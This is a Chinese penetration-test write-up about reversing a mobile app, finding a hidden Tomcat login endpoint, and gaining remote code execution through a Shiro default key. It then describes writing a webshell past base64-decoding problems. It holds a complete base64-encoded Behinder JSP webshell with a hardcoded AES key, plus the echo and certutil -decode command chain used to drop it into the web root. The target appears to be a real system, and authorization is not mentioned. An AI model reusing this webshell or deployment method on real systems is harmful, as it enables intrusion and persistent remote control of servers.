APP简单逆向到getshell
推荐关注
0x01 前言
0x02 脱壳逆向
0x03 逆向分析
0x04 突破口
#2 访问链接,页面空白,由图标得知上面搭载的tomcat。
#3 然后全局搜索http://
关键词,又搜到一个url(这次是域名),类似于http://xxxxx:8080/web/weixin/xxxxxx
,浏览器打开看了一下,没啥东西,也是空白页面。因为url中出现weixin关键词,推测两种可能,第一种:登陆点,第二种,微信授权接口。
所以简单猜了下路径,在weixin后面加了个login,http://xxxxx:8080/web/weixin/login
,发现登陆点,由于路径跟上面发现的url类似,推测它也是java的后端,直接shiro一把梭,默认key,成功rce,java后端rce一般都是system权限。
0x05 写入webshell踩坑
坑1—特殊字符转义
坑2—BASE解码报错
certutil -decode 1.txt 2.txt //1.txt解码生成2.txt
情况还是一样的,本地测试成功,在服务器上就是解码失败,输出长度为0,箭头指向的本来是0的,我偷懒就随便找了张图 。
除此之外,什么字符拼接啊,base64一段段输入然后解码啊,全试过了,不是报错就是写不进去或者是base解码输出长度为0,大概率是目标服务器的问题,在这里浪费了大量时间。
成功写入webshell
最后咋解决的呢,最后采用的fuzz大法,把shell内容一段段base64编码上传,然后解码,一段一段的fuzz测试,看到底是那部分字符导致了base解码失败。
最后锁定了冰蝎马的最后四个字符;}%>,不加这四个字符,base64解码能正常输出内容,只要base64编码里是以这四个字符结尾,那么就解码报错。
坑3—根目录webshell不解析
0x06 整理思路
echo PCVAcGFnZSBpbXBvcnQ9ImphdmEudXRpbC4qLGphdmF4LmNyeXB0by4qLGphdmF4LmNyeXB0by5zcGVjLioiJT48JSFjbGFzcyBVIGV4dGVuZHMgQ2xhc3NMb2FkZXJ7VShDbGFzc0xvYWRlciBjKXtzdXBlcihjKTt9cHVibGljIENsYXNzIGcoYnl0ZSBbXWIpe3JldHVybiBzdXBlci5kZWZpbmVDbGFzcyhiLDAsYi5sZW5ndGgpO319JT48JWlmIChyZXF1ZXN0LmdldE1ldGhvZCgpLmVxdWFscygiUE9TVCIpKXtTdHJpbmcgaz0iZTQ1ZTMyOWZlYjVkOTI1YiI7c2Vzc2lvbi5wdXRWYWx1ZSgidSIsayk7Q2lwaGVyIGM9Q2lwaGVyLmdldEluc3RhbmNlKCJBRVMiKTtjLmluaXQoMixuZXcgU2VjcmV0S2V5U3BlYyhrLmdldEJ5dGVzKCksIkFFUyIpKTtuZXcgVSh0aGlzLmdldENsYXNzKCkuZ2V0Q2xhc3NMb2FkZXIoKSkuZyhjLmRvRmluYWwobmV3IHN1bi5taXNjLkJBU0U2NERlY29kZXIoKS5kZWNvZGVCdWZmZXIocmVxdWVzdC5nZXRSZWFkZXIoKS5yZWFkTGluZSgpKSkpLm5ld0luc3RhbmNlKCkuZXF1YWxzKHBhZ2VDb250ZXh0KQ>1.txtcertutil -decode 1.txt 2.jsp
2. 剩下的四个特殊字符经过echo语句手动追加到2.jsp末尾
echo ^;^}^%^>>2.jsp
3. 最后成功写入docs目录,附上一张连接图
0x07 结尾
文章来源:先知社区,作者1frame 原文地址:https://xz.aliyun.com/t/10906